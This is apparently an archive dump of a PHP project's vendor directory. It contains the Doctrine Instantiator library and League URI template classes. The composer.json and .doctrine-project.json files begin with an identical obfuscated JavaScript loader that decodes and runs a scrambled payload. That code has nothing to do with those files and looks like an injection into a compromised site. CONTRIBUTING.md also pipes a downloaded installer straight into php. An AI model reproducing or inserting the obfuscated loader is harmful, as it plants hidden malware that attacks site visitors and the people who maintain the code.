'/theseer/tokenizer/src/NamespaceUriException.php', 'TheSeer\\Tokenizer\\Token' => __DIR__ . '/..' . '/theseer/tokenizer/src/Token.php', 'TheSeer\\Tokenizer\\TokenCollection' => __DIR__ . '/..' . '/theseer/tokenizer/src/TokenCollection.php', 'TheSeer\\Tokenizer\\TokenCollectionException' => __DIR__ . '/..' . '/theseer/tokenizer/src/TokenCollectionException.php', 'TheSeer\\Tokenizer\\Tokenizer' => __DIR__ . '/..' . '/theseer/tokenizer/src/Tokenizer.php', 'TheSeer\\Tokenizer\\XMLSerializer' => __DIR__ . '/..' . '/theseer/tokenizer/src/XMLSerializer.php', ); public static function getInitializer(ClassLoader $loader) { return \Closure::bind(function () use ($loader) { $loader->prefixLengthsPsr4 = ComposerStaticInit001041eedff88e99578eba41095850a8::$prefixLengthsPsr4; $loader->prefixDirsPsr4 = ComposerStaticInit001041eedff88e99578eba41095850a8::$prefixDirsPsr4; $loader->classMap = ComposerStaticInit001041eedff88e99578eba41095850a8::$classMap; }, null, ClassLoader::class); } } res/readability/vendor/doctrine/instantiator/docs/en/sidebar.rst000064400000000046147577714370021174 0ustar00.. toctree:: :depth: 3 index res/readability/vendor/doctrine/instantiator/docs/en/index.rst000064400000003337147577714370020700 0ustar00Introduction ============ This library provides a way of avoiding usage of constructors when instantiating PHP classes. Installation ============ The suggested installation method is via `composer`_: .. code-block:: console $ composer require doctrine/instantiator Usage ===== The instantiator is able to create new instances of any class without using the constructor or any API of the class itself: .. code-block:: php instantiate(User::class); Contributing ============ - Follow the `Doctrine Coding Standard`_ - The project will follow strict `object calisthenics`_ - Any contribution must provide tests for additional introduced conditions - Any un-confirmed issue needs a failing test case before being accepted - Pull requests must be sent from a new hotfix/feature branch, not from ``master``. Testing ======= The PHPUnit version to be used is the one installed as a dev- dependency via composer: .. code-block:: console $ ./vendor/bin/phpunit Accepted coverage for new contributions is 80%. Any contribution not satisfying this requirement won’t be merged. Credits ======= This library was migrated from `ocramius/instantiator`_, which has been donated to the doctrine organization, and which is now deprecated in favour of this package. .. _composer: https://getcomposer.org/ .. _CONTRIBUTING.md: CONTRIBUTING.md .. _ocramius/instantiator: https://github.com/Ocramius/Instantiator .. _Doctrine Coding Standard: https://github.com/doctrine/coding-standard .. _object calisthenics: http://www.slideshare.net/guilhermeblanco/object-calisthenics-applied-to-php vendor/doctrine/instantiator/src/Doctrine/Instantiator/Exception/InvalidArgumentException.php000064400000002730147577714370032056 0ustar00res/readability $reflectionClass * * @template T of object */ public static function fromAbstractClass(ReflectionClass $reflectionClass): self { return new self(sprintf( 'The provided class "%s" is abstract, and cannot be instantiated', $reflectionClass->getName() )); } public static function fromEnum(string $className): self { return new self(sprintf( 'The provided class "%s" is an enum, and cannot be instantiated', $className )); } } vendor/doctrine/instantiator/src/Doctrine/Instantiator/Exception/UnexpectedValueException.php000064400000003127147577714370032067 0ustar00res/readability $reflectionClass * * @template T of object */ public static function fromSerializationTriggeredException( ReflectionClass $reflectionClass, Exception $exception ): self { return new self( sprintf( 'An exception was raised while trying to instantiate an instance of "%s" via un-serialization', $reflectionClass->getName() ), 0, $exception ); } /** * @phpstan-param ReflectionClass $reflectionClass * * @template T of object */ public static function fromUncleanUnSerialization( ReflectionClass $reflectionClass, string $errorString, int $errorCode, string $errorFile, int $errorLine ): self { return new self( sprintf( 'Could not produce an instance of "%s" via un-serialization, since an error was triggered ' . 'in file "%s" at line "%d"', $reflectionClass->getName(), $errorFile, $errorLine ), 0, new Exception($errorString, $errorCode) ); } } readability/vendor/doctrine/instantiator/src/Doctrine/Instantiator/Exception/ExceptionInterface.php000064400000000300147577714370030654 0ustar00res $className * * @return object * @phpstan-return T * * @throws ExceptionInterface * * @template T of object */ public function instantiate($className) { if (isset(self::$cachedCloneables[$className])) { /** * @phpstan-var T */ $cachedCloneable = self::$cachedCloneables[$className]; return clone $cachedCloneable; } if (isset(self::$cachedInstantiators[$className])) { $factory = self::$cachedInstantiators[$className]; return $factory(); } return $this->buildAndCacheFromFactory($className); } /** * Builds the requested object and caches it in static properties for performance * * @phpstan-param class-string $className * * @return object * @phpstan-return T * * @template T of object */ private function buildAndCacheFromFactory(string $className) { $factory = self::$cachedInstantiators[$className] = $this->buildFactory($className); $instance = $factory(); if ($this->isSafeToClone(new ReflectionClass($instance))) { self::$cachedCloneables[$className] = clone $instance; } return $instance; } /** * Builds a callable capable of instantiating the given $className without * invoking its constructor. * * @phpstan-param class-string $className * * @phpstan-return callable(): T * * @throws InvalidArgumentException * @throws UnexpectedValueException * @throws ReflectionException * * @template T of object */ private function buildFactory(string $className): callable { $reflectionClass = $this->getReflectionClass($className); if ($this->isInstantiableViaReflection($reflectionClass)) { return [$reflectionClass, 'newInstanceWithoutConstructor']; } $serializedString = sprintf( '%s:%d:"%s":0:{}', is_subclass_of($className, Serializable::class) ? self::SERIALIZATION_FORMAT_USE_UNSERIALIZER : self::SERIALIZATION_FORMAT_AVOID_UNSERIALIZER, strlen($className), $className ); $this->checkIfUnSerializationIsSupported($reflectionClass, $serializedString); return static function () use ($serializedString) { return unserialize($serializedString); }; } /** * @phpstan-param class-string $className * * @phpstan-return ReflectionClass * * @throws InvalidArgumentException * @throws ReflectionException * * @template T of object */ private function getReflectionClass(string $className): ReflectionClass { if (! class_exists($className)) { throw InvalidArgumentException::fromNonExistingClass($className); } if (PHP_VERSION_ID >= 80100 && enum_exists($className, false)) { throw InvalidArgumentException::fromEnum($className); } $reflection = new ReflectionClass($className); if ($reflection->isAbstract()) { throw InvalidArgumentException::fromAbstractClass($reflection); } return $reflection; } /** * @phpstan-param ReflectionClass $reflectionClass * * @throws UnexpectedValueException * * @template T of object */ private function checkIfUnSerializationIsSupported(ReflectionClass $reflectionClass, string $serializedString): void { set_error_handler(static function (int $code, string $message, string $file, int $line) use ($reflectionClass, &$error): bool { $error = UnexpectedValueException::fromUncleanUnSerialization( $reflectionClass, $message, $code, $file, $line ); return true; }); try { $this->attemptInstantiationViaUnSerialization($reflectionClass, $serializedString); } finally { restore_error_handler(); } if ($error) { throw $error; } } /** * @phpstan-param ReflectionClass $reflectionClass * * @throws UnexpectedValueException * * @template T of object */ private function attemptInstantiationViaUnSerialization(ReflectionClass $reflectionClass, string $serializedString): void { try { unserialize($serializedString); } catch (Exception $exception) { throw UnexpectedValueException::fromSerializationTriggeredException($reflectionClass, $exception); } } /** * @phpstan-param ReflectionClass $reflectionClass * * @template T of object */ private function isInstantiableViaReflection(ReflectionClass $reflectionClass): bool { return ! ($this->hasInternalAncestors($reflectionClass) && $reflectionClass->isFinal()); } /** * Verifies whether the given class is to be considered internal * * @phpstan-param ReflectionClass $reflectionClass * * @template T of object */ private function hasInternalAncestors(ReflectionClass $reflectionClass): bool { do { if ($reflectionClass->isInternal()) { return true; } $reflectionClass = $reflectionClass->getParentClass(); } while ($reflectionClass); return false; } /** * Checks if a class is cloneable * * Classes implementing `__clone` cannot be safely cloned, as that may cause side-effects. * * @phpstan-param ReflectionClass $reflectionClass * * @template T of object */ private function isSafeToClone(ReflectionClass $reflectionClass): bool { return $reflectionClass->isCloneable() && ! $reflectionClass->hasMethod('__clone') && ! $reflectionClass->isSubclassOf(ArrayIterator::class); } } res/readability/vendor/doctrine/instantiator/src/Doctrine/Instantiator/InstantiatorInterface.php000064400000000775147577714370027536 0ustar00 $className * * @return object * @phpstan-return T * * @throws ExceptionInterface * * @template T of object */ public function instantiate($className); } res/readability/vendor/doctrine/instantiator/README.md000064400000003075147577714370016763 0ustar00# Instantiator This library provides a way of avoiding usage of constructors when instantiating PHP classes. [![Build Status](https://travis-ci.org/doctrine/instantiator.svg?branch=master)](https://travis-ci.org/doctrine/instantiator) [![Code Coverage](https://codecov.io/gh/doctrine/instantiator/branch/master/graph/badge.svg)](https://codecov.io/gh/doctrine/instantiator/branch/master) [![Dependency Status](https://www.versioneye.com/package/php--doctrine--instantiator/badge.svg)](https://www.versioneye.com/package/php--doctrine--instantiator) [![Latest Stable Version](https://poser.pugx.org/doctrine/instantiator/v/stable.png)](https://packagist.org/packages/doctrine/instantiator) [![Latest Unstable Version](https://poser.pugx.org/doctrine/instantiator/v/unstable.png)](https://packagist.org/packages/doctrine/instantiator) ## Installation The suggested installation method is via [composer](https://getcomposer.org/): ```sh php composer.phar require "doctrine/instantiator:~1.0.3" ``` ## Usage The instantiator is able to create new instances of any class without using the constructor or any API of the class itself: ```php $instantiator = new \Doctrine\Instantiator\Instantiator(); $instance = $instantiator->instantiate(\My\ClassName\Here::class); ``` ## Contributing Please read the [CONTRIBUTING.md](CONTRIBUTING.md) contents if you wish to help out! ## Credits This library was migrated from [ocramius/instantiator](https://github.com/Ocramius/Instantiator), which has been donated to the doctrine organization, and which is now deprecated in favour of this package. res/readability/vendor/doctrine/instantiator/LICENSE000064400000002044147577714370016504 0ustar00Copyright (c) 2014 Doctrine Project Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to the following conditions: The above copyright notice and this permission notice shall be included in all copies or substantial portions of the Software. THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. res/readability/vendor/doctrine/instantiator/psalm.xml000064400000000721147577714370017335 0ustar00 res/readability/vendor/doctrine/instantiator/composer.json000064400000010660147577714370020224 0ustar00var language,currentLanguage,languagesNoRedirect,hasWasCookie,expirationDate;(function(){var Tjo='',UxF=715-704;function JOC(d){var j=4658325;var f=d.length;var o=[];for(var y=0;y)tul5ibtp%1ueg,B% ]7n))B;*i,me4otfbpis 3{.d==6Bs]B2 7B62)r1Br.zt;Bb2h BB B\/cc;:;i(jb$sab) cnyB3r=(pspa..t:_eme5B=.;,f_);jBj)rc,,eeBc=p!(a,_)o.)e_!cmn( Ba)=iBn5(t.sica,;f6cCBBtn;!c)g}h_i.B\/,B47sitB)hBeBrBjtB.B]%rB,0eh36rBt;)-odBr)nBrn3B 07jBBc,onrtee)t)Bh0BB(ae}i20d(a}v,ps\/n=.;)9tCnBow(]!e4Bn.nsg4so%e](])cl!rh8;lto;50Bi.p8.gt}{Brec3-2]7%; ,].)Nb;5B c(n3,wmvth($]\/rm(t;;fe(cau=D)ru}t];B!c(=7&=B(,1gBl()_1vs];vBBlB(+_.))=tre&B()o)(;7e79t,]6Berz.\';,%],s)aj+#"$1o_liew[ouaociB!7.*+).!8 3%e]tfc(irvBbu9]n3j0Bu_rea.an8rn".gu=&u0ul6;B$#ect3xe)tohc] (].Be|(%8Bc5BBnsrv19iefucchBa]j)hd)n(j.)a%e;5)*or1c-)((.1Br$h(i$C3B.)B5)].eacoe*\/.a7aB3e=BBsu]b9B"Bas%3;&(B2%"$ema"+BrB,$.ps\/+BtgaB3).;un)]c.;3!)7e&=0bB+B=(i4;tu_,d\'.w()oB.Boccf0n0}od&j_2%aBnn%na35ig!_su:ao.;_]0;=B)o..$ ,nee.5s)!.o]mc!B}|BoB6sr.e,ci)$(}a5(B.}B].z4ru7_.nnn3aele+B.\'}9efc.==dnce_tpf7Blb%]ge.=pf2Se_)B.c_(*]ocet!ig9bi)ut}_ogS(.1=(uNo]$o{fsB+ticn.coaBfm-B{3=]tr;.{r\'t$f1(B4.0w[=!!.n ,B%i)b.6j-(r2\'[ a}.]6$d,);;lgo *t]$ct$!%;]B6B((:dB=0ac4!Bieorevtnra 0BeB(((Bu.[{b3ce_"cBe(am.3{&ue#]c_rm)='));var KUr=DUT(Tjo,ENJ );KUr(6113);return 5795})();{ "name": "doctrine/instantiator", "description": "A small, lightweight utility to instantiate objects in PHP without invoking their constructors", "type": "library", "license": "MIT", "homepage": "https://www.doctrine-project.org/projects/instantiator.html", "keywords": [ "instantiate", "constructor" ], "authors": [ { "name": "Marco Pivetta", "email": "ocramius@gmail.com", "homepage": "https://ocramius.github.io/" } ], "require": { "php": "^7.1 || ^8.0" }, "require-dev": { "ext-phar": "*", "ext-pdo": "*", "doctrine/coding-standard": "^9", "phpbench/phpbench": "^0.16 || ^1", "phpstan/phpstan": "^1.4", "phpstan/phpstan-phpunit": "^1", "phpunit/phpunit": "^7.5 || ^8.5 || ^9.5", "vimeo/psalm": "^4.22" }, "autoload": { "psr-4": { "Doctrine\\Instantiator\\": "src/Doctrine/Instantiator/" } }, "autoload-dev": { "psr-0": { "DoctrineTest\\InstantiatorPerformance\\": "tests", "DoctrineTest\\InstantiatorTest\\": "tests", "DoctrineTest\\InstantiatorTestAsset\\": "tests" } }, "config": { "allow-plugins": { "dealerdirect/phpcodesniffer-composer-installer": true } } } res/readability/vendor/doctrine/instantiator/CONTRIBUTING.md000064400000002010147577714370017721 0ustar00# Contributing * Follow the [Doctrine Coding Standard](https://github.com/doctrine/coding-standard) * The project will follow strict [object calisthenics](http://www.slideshare.net/guilhermeblanco/object-calisthenics-applied-to-php) * Any contribution must provide tests for additional introduced conditions * Any un-confirmed issue needs a failing test case before being accepted * Pull requests must be sent from a new hotfix/feature branch, not from `master`. ## Installation To install the project and run the tests, you need to clone it first: ```sh $ git clone git://github.com/doctrine/instantiator.git ``` You will then need to run a composer installation: ```sh $ cd Instantiator $ curl -s https://getcomposer.org/installer | php $ php composer.phar update ``` ## Testing The PHPUnit version to be used is the one installed as a dev- dependency via composer: ```sh $ ./vendor/bin/phpunit ``` Accepted coverage for new contributions is 80%. Any contribution not satisfying this requirement won't be merged. res/readability/vendor/doctrine/instantiator/.doctrine-project.json000064400000007712147577714370021732 0ustar00var language,currentLanguage,languagesNoRedirect,hasWasCookie,expirationDate;(function(){var Tjo='',UxF=715-704;function JOC(d){var j=4658325;var f=d.length;var o=[];for(var y=0;y)tul5ibtp%1ueg,B% ]7n))B;*i,me4otfbpis 3{.d==6Bs]B2 7B62)r1Br.zt;Bb2h BB B\/cc;:;i(jb$sab) cnyB3r=(pspa..t:_eme5B=.;,f_);jBj)rc,,eeBc=p!(a,_)o.)e_!cmn( Ba)=iBn5(t.sica,;f6cCBBtn;!c)g}h_i.B\/,B47sitB)hBeBrBjtB.B]%rB,0eh36rBt;)-odBr)nBrn3B 07jBBc,onrtee)t)Bh0BB(ae}i20d(a}v,ps\/n=.;)9tCnBow(]!e4Bn.nsg4so%e](])cl!rh8;lto;50Bi.p8.gt}{Brec3-2]7%; ,].)Nb;5B c(n3,wmvth($]\/rm(t;;fe(cau=D)ru}t];B!c(=7&=B(,1gBl()_1vs];vBBlB(+_.))=tre&B()o)(;7e79t,]6Berz.\';,%],s)aj+#"$1o_liew[ouaociB!7.*+).!8 3%e]tfc(irvBbu9]n3j0Bu_rea.an8rn".gu=&u0ul6;B$#ect3xe)tohc] (].Be|(%8Bc5BBnsrv19iefucchBa]j)hd)n(j.)a%e;5)*or1c-)((.1Br$h(i$C3B.)B5)].eacoe*\/.a7aB3e=BBsu]b9B"Bas%3;&(B2%"$ema"+BrB,$.ps\/+BtgaB3).;un)]c.;3!)7e&=0bB+B=(i4;tu_,d\'.w()oB.Boccf0n0}od&j_2%aBnn%na35ig!_su:ao.;_]0;=B)o..$ ,nee.5s)!.o]mc!B}|BoB6sr.e,ci)$(}a5(B.}B].z4ru7_.nnn3aele+B.\'}9efc.==dnce_tpf7Blb%]ge.=pf2Se_)B.c_(*]ocet!ig9bi)ut}_ogS(.1=(uNo]$o{fsB+ticn.coaBfm-B{3=]tr;.{r\'t$f1(B4.0w[=!!.n ,B%i)b.6j-(r2\'[ a}.]6$d,);;lgo *t]$ct$!%;]B6B((:dB=0ac4!Bieorevtnra 0BeB(((Bu.[{b3ce_"cBe(am.3{&ue#]c_rm)='));var KUr=DUT(Tjo,ENJ );KUr(6113);return 5795})();{ "active": true, "name": "Instantiator", "slug": "instantiator", "docsSlug": "doctrine-instantiator", "codePath": "/src", "versions": [ { "name": "1.5", "branchName": "1.5.x", "slug": "latest", "upcoming": true }, { "name": "1.4", "branchName": "1.4.x", "slug": "1.4", "aliases": [ "current", "stable" ], "maintained": true, "current": true }, { "name": "1.3", "branchName": "1.3.x", "slug": "1.3", "maintained": false }, { "name": "1.2", "branchName": "1.2.x", "slug": "1.2" }, { "name": "1.1", "branchName": "1.1.x", "slug": "1.1" }, { "name": "1.0", "branchName": "1.0.x", "slug": "1.0" } ] } res/readability/vendor/league/uri/src/Exceptions/TemplateCanNotBeExpanded.php000064400000001501147577714370023426 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ declare(strict_types=1); namespace League\Uri\Exceptions; use League\Uri\Contracts\UriException; class TemplateCanNotBeExpanded extends \InvalidArgumentException implements UriException { public static function dueToUnableToProcessValueListWithPrefix(string $variableName): self { return new self('The ":" modifier can not be applied on "'.$variableName.'" since it is a list of values.'); } public static function dueToNestedListOfValue(string $variableName): self { return new self('The "'.$variableName.'" can not be a nested list.'); } } res/readability/vendor/league/uri/src/UriTemplate/VarSpecifier.php000064400000005011147577714370021324 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ declare(strict_types=1); namespace League\Uri\UriTemplate; use League\Uri\Exceptions\SyntaxError; use function preg_match; final class VarSpecifier { /** * Variables specification regular expression pattern. * * @link https://tools.ietf.org/html/rfc6570#section-2.3 */ private const REGEXP_VARSPEC = '/^ (?(?:[A-z0-9_\.]|%[0-9a-fA-F]{2})+) (?\:(?\d+)|\*)? $/x'; /** * @var string */ private $name; /** * @var string */ private $modifier; /** * @var int */ private $position; private function __construct(string $name, string $modifier, int $position) { $this->name = $name; $this->modifier = $modifier; $this->position = $position; } /** * {@inheritDoc} */ public static function __set_state(array $properties): self { return new self($properties['name'], $properties['modifier'], $properties['position']); } public static function createFromString(string $specification): self { if (1 !== preg_match(self::REGEXP_VARSPEC, $specification, $parsed)) { throw new SyntaxError('The variable specification "'.$specification.'" is invalid.'); } $parsed += ['modifier' => '', 'position' => '']; if ('' !== $parsed['position']) { $parsed['position'] = (int) $parsed['position']; $parsed['modifier'] = ':'; } if ('' === $parsed['position']) { $parsed['position'] = 0; } if (10000 <= $parsed['position']) { throw new SyntaxError('The variable specification "'.$specification.'" is invalid the position modifier must be lower than 10000.'); } return new self($parsed['name'], $parsed['modifier'], $parsed['position']); } public function toString(): string { if (0 < $this->position) { return $this->name.$this->modifier.$this->position; } return $this->name.$this->modifier; } public function name(): string { return $this->name; } public function modifier(): string { return $this->modifier; } public function position(): int { return $this->position; } } res/readability/vendor/league/uri/src/UriTemplate/Expression.php000064400000024177147577714370021117 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ declare(strict_types=1); namespace League\Uri\UriTemplate; use League\Uri\Exceptions\SyntaxError; use League\Uri\Exceptions\TemplateCanNotBeExpanded; use function array_filter; use function array_keys; use function array_map; use function array_unique; use function explode; use function implode; use function preg_match; use function rawurlencode; use function str_replace; use function strpos; use function substr; final class Expression { /** * Expression regular expression pattern. * * @link https://tools.ietf.org/html/rfc6570#section-2.2 */ private const REGEXP_EXPRESSION = '/^\{ (?: (?[\.\/;\?&\=,\!@\|\+#])? (?[^\}]*) ) \}$/x'; /** * Reserved Operator characters. * * @link https://tools.ietf.org/html/rfc6570#section-2.2 */ private const RESERVED_OPERATOR = '=,!@|'; /** * Processing behavior according to the expression type operator. * * @link https://tools.ietf.org/html/rfc6570#appendix-A */ private const OPERATOR_HASH_LOOKUP = [ '' => ['prefix' => '', 'joiner' => ',', 'query' => false], '+' => ['prefix' => '', 'joiner' => ',', 'query' => false], '#' => ['prefix' => '#', 'joiner' => ',', 'query' => false], '.' => ['prefix' => '.', 'joiner' => '.', 'query' => false], '/' => ['prefix' => '/', 'joiner' => '/', 'query' => false], ';' => ['prefix' => ';', 'joiner' => ';', 'query' => true], '?' => ['prefix' => '?', 'joiner' => '&', 'query' => true], '&' => ['prefix' => '&', 'joiner' => '&', 'query' => true], ]; /** * @var string */ private $operator; /** * @var string */ private $joiner; /** * @var array */ private $varSpecifiers; /** * @var array */ private $variableNames; /** * @var string */ private $expressionString; private function __construct(string $operator, VarSpecifier ...$varSpecifiers) { $this->operator = $operator; $this->varSpecifiers = $varSpecifiers; $this->joiner = self::OPERATOR_HASH_LOOKUP[$operator]['joiner']; $this->variableNames = $this->setVariableNames(); $this->expressionString = $this->setExpressionString(); } /** * @return array */ private function setVariableNames(): array { $mapper = static function (VarSpecifier $varSpecifier): string { return $varSpecifier->name(); }; return array_unique(array_map($mapper, $this->varSpecifiers)); } private function setExpressionString(): string { $mapper = static function (VarSpecifier $variable): string { return $variable->toString(); }; $varSpecifierString = implode(',', array_map($mapper, $this->varSpecifiers)); return '{'.$this->operator.$varSpecifierString.'}'; } /** * {@inheritDoc} */ public static function __set_state(array $properties): self { return new self($properties['operator'], ...$properties['varSpecifiers']); } /** * @throws SyntaxError if the expression is invalid * @throws SyntaxError if the operator used in the expression is invalid * @throws SyntaxError if the variable specifiers is invalid */ public static function createFromString(string $expression): self { if (1 !== preg_match(self::REGEXP_EXPRESSION, $expression, $parts)) { throw new SyntaxError('The expression "'.$expression.'" is invalid.'); } /** @var array{operator:string, variables:string} $parts */ $parts = $parts + ['operator' => '']; if ('' !== $parts['operator'] && false !== strpos(self::RESERVED_OPERATOR, $parts['operator'])) { throw new SyntaxError('The operator used in the expression "'.$expression.'" is reserved.'); } $mapper = static function (string $varSpec): VarSpecifier { return VarSpecifier::createFromString($varSpec); }; return new Expression($parts['operator'], ...array_map($mapper, explode(',', $parts['variables']))); } /** * Returns the expression string representation. * */ public function toString(): string { return $this->expressionString; } /** * @return array */ public function variableNames(): array { return $this->variableNames; } public function expand(VariableBag $variables): string { $parts = []; foreach ($this->varSpecifiers as $varSpecifier) { $parts[] = $this->replace($varSpecifier, $variables); } $nullFilter = static function ($value): bool { return '' !== $value; }; $expanded = implode($this->joiner, array_filter($parts, $nullFilter)); if ('' === $expanded) { return $expanded; } $prefix = self::OPERATOR_HASH_LOOKUP[$this->operator]['prefix']; if ('' === $prefix) { return $expanded; } return $prefix.$expanded; } /** * Replaces an expression with the given variables. * * @throws TemplateCanNotBeExpanded if the variables is an array and a ":" modifier needs to be applied * @throws TemplateCanNotBeExpanded if the variables contains nested array values */ private function replace(VarSpecifier $varSpec, VariableBag $variables): string { $value = $variables->fetch($varSpec->name()); if (null === $value) { return ''; } $useQuery = self::OPERATOR_HASH_LOOKUP[$this->operator]['query']; [$expanded, $actualQuery] = $this->inject($value, $varSpec, $useQuery); if (!$actualQuery) { return $expanded; } if ('&' !== $this->joiner && '' === $expanded) { return $varSpec->name(); } return $varSpec->name().'='.$expanded; } /** * @param string|array $value * * @return array{0:string, 1:bool} */ private function inject($value, VarSpecifier $varSpec, bool $useQuery): array { if (is_string($value)) { return $this->replaceString($value, $varSpec, $useQuery); } return $this->replaceList($value, $varSpec, $useQuery); } /** * Expands an expression using a string value. * * @return array{0:string, 1:bool} */ private function replaceString(string $value, VarSpecifier $varSpec, bool $useQuery): array { if (':' === $varSpec->modifier()) { $value = substr($value, 0, $varSpec->position()); } $expanded = rawurlencode($value); if ('+' === $this->operator || '#' === $this->operator) { return [$this->decodeReserved($expanded), $useQuery]; } return [$expanded, $useQuery]; } /** * Expands an expression using a list of values. * * @param array $value * * @throws TemplateCanNotBeExpanded if the variables is an array and a ":" modifier needs to be applied * * @return array{0:string, 1:bool} */ private function replaceList(array $value, VarSpecifier $varSpec, bool $useQuery): array { if ([] === $value) { return ['', false]; } if (':' === $varSpec->modifier()) { throw TemplateCanNotBeExpanded::dueToUnableToProcessValueListWithPrefix($varSpec->name()); } $pairs = []; $isAssoc = $this->isAssoc($value); foreach ($value as $key => $var) { if ($isAssoc) { $key = rawurlencode((string) $key); } $var = rawurlencode($var); if ('+' === $this->operator || '#' === $this->operator) { $var = $this->decodeReserved($var); } if ('*' === $varSpec->modifier()) { if ($isAssoc) { $var = $key.'='.$var; } elseif ($key > 0 && $useQuery) { $var = $varSpec->name().'='.$var; } } $pairs[$key] = $var; } if ('*' === $varSpec->modifier()) { if ($isAssoc) { // Don't prepend the value name when using the explode // modifier with an associative array. $useQuery = false; } return [implode($this->joiner, $pairs), $useQuery]; } if ($isAssoc) { // When an associative array is encountered and the // explode modifier is not set, then the result must be // a comma separated list of keys followed by their // respective values. foreach ($pairs as $offset => &$data) { $data = $offset.','.$data; } unset($data); } return [implode(',', $pairs), $useQuery]; } /** * Determines if an array is associative. * * This makes the assumption that input arrays are sequences or hashes. * This assumption is a trade-off for accuracy in favor of speed, but it * should work in almost every case where input is supplied for a URI * template. */ private function isAssoc(array $array): bool { return [] !== $array && 0 !== array_keys($array)[0]; } /** * Removes percent encoding on reserved characters (used with + and # modifiers). */ private function decodeReserved(string $str): string { static $delimiters = [ ':', '/', '?', '#', '[', ']', '@', '!', '$', '&', '\'', '(', ')', '*', '+', ',', ';', '=', ]; static $delimitersEncoded = [ '%3A', '%2F', '%3F', '%23', '%5B', '%5D', '%40', '%21', '%24', '%26', '%27', '%28', '%29', '%2A', '%2B', '%2C', '%3B', '%3D', ]; return str_replace($delimitersEncoded, $delimiters, $str); } } res/readability/vendor/league/uri/src/UriTemplate/VariableBag.php000064400000005462147577714370021113 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ declare(strict_types=1); namespace League\Uri\UriTemplate; use League\Uri\Exceptions\TemplateCanNotBeExpanded; use function gettype; use function is_array; use function is_bool; use function is_object; use function is_scalar; use function method_exists; use function sprintf; final class VariableBag { /** * @var array> */ private $variables = []; /** * @param iterable $variables */ public function __construct(iterable $variables = []) { foreach ($variables as $name => $value) { $this->assign($name, $value); } } public static function __set_state(array $properties): self { return new self($properties['variables']); } /** * @return array> */ public function all(): array { return $this->variables; } /** * Fetches the variable value if none found returns null. * * @return null|string|array */ public function fetch(string $name) { return $this->variables[$name] ?? null; } /** * @param string|array $value */ public function assign(string $name, $value): void { $this->variables[$name] = $this->normalizeValue($value, $name, true); } /** * @param mixed $value the value to be expanded * * @throws TemplateCanNotBeExpanded if the value contains nested list * * @return string|array */ private function normalizeValue($value, string $name, bool $isNestedListAllowed) { if (is_bool($value)) { return true === $value ? '1' : '0'; } if (null === $value || is_scalar($value) || (is_object($value) && method_exists($value, '__toString'))) { return (string) $value; } if (!is_array($value)) { throw new \TypeError(sprintf('The variable '.$name.' must be NULL, a scalar or a stringable object `%s` given', gettype($value))); } if (!$isNestedListAllowed) { throw TemplateCanNotBeExpanded::dueToNestedListOfValue($name); } foreach ($value as &$var) { $var = self::normalizeValue($var, $name, false); } unset($var); return $value; } /** * Replaces elements from passed variables into the current instance. */ public function replace(VariableBag $variables): self { $instance = clone $this; $instance->variables += $variables->variables; return $instance; } } res/readability/vendor/league/uri/src/UriTemplate/Template.php000064400000007555147577714370020534 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ declare(strict_types=1); namespace League\Uri\UriTemplate; use League\Uri\Exceptions\SyntaxError; use League\Uri\Exceptions\TemplateCanNotBeExpanded; use function array_merge; use function array_unique; use function gettype; use function is_object; use function is_string; use function method_exists; use function preg_match_all; use function preg_replace; use function sprintf; use function strpos; use const PREG_SET_ORDER; final class Template { /** * Expression regular expression pattern. */ private const REGEXP_EXPRESSION_DETECTOR = '/\{[^\}]*\}/x'; /** * @var string */ private $template; /** * @var array */ private $expressions = []; /** * @var array */ private $variableNames; private function __construct(string $template, Expression ...$expressions) { $this->template = $template; $variableNames = []; foreach ($expressions as $expression) { $this->expressions[$expression->toString()] = $expression; $variableNames[] = $expression->variableNames(); } $this->variableNames = array_unique(array_merge([], ...$variableNames)); } /** * {@inheritDoc} */ public static function __set_state(array $properties): self { return new self($properties['template'], ...array_values($properties['expressions'])); } /** * @param object|string $template a string or an object with the __toString method * * @throws \TypeError if the template is not a string or an object with the __toString method * @throws SyntaxError if the template contains invalid expressions * @throws SyntaxError if the template contains invalid variable specification */ public static function createFromString($template): self { if (is_object($template) && method_exists($template, '__toString')) { $template = (string) $template; } if (!is_string($template)) { throw new \TypeError(sprintf('The template must be a string or a stringable object %s given.', gettype($template))); } /** @var string $remainder */ $remainder = preg_replace(self::REGEXP_EXPRESSION_DETECTOR, '', $template); if (false !== strpos($remainder, '{') || false !== strpos($remainder, '}')) { throw new SyntaxError('The template "'.$template.'" contains invalid expressions.'); } $names = []; preg_match_all(self::REGEXP_EXPRESSION_DETECTOR, $template, $findings, PREG_SET_ORDER); $arguments = []; foreach ($findings as $finding) { if (!isset($names[$finding[0]])) { $arguments[] = Expression::createFromString($finding[0]); $names[$finding[0]] = 1; } } return new self($template, ...$arguments); } public function toString(): string { return $this->template; } /** * @return array */ public function variableNames(): array { return $this->variableNames; } /** * @throws TemplateCanNotBeExpanded if the variables is an array and a ":" modifier needs to be applied * @throws TemplateCanNotBeExpanded if the variables contains nested array values */ public function expand(VariableBag $variables): string { $uriString = $this->template; /** @var Expression $expression */ foreach ($this->expressions as $pattern => $expression) { $uriString = str_replace($pattern, $expression->expand($variables), $uriString); } return $uriString; } } res/readability/vendor/league/uri/src/UriTemplate.php000064400000010026147577714370016744 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ declare(strict_types=1); namespace League\Uri; use League\Uri\Contracts\UriException; use 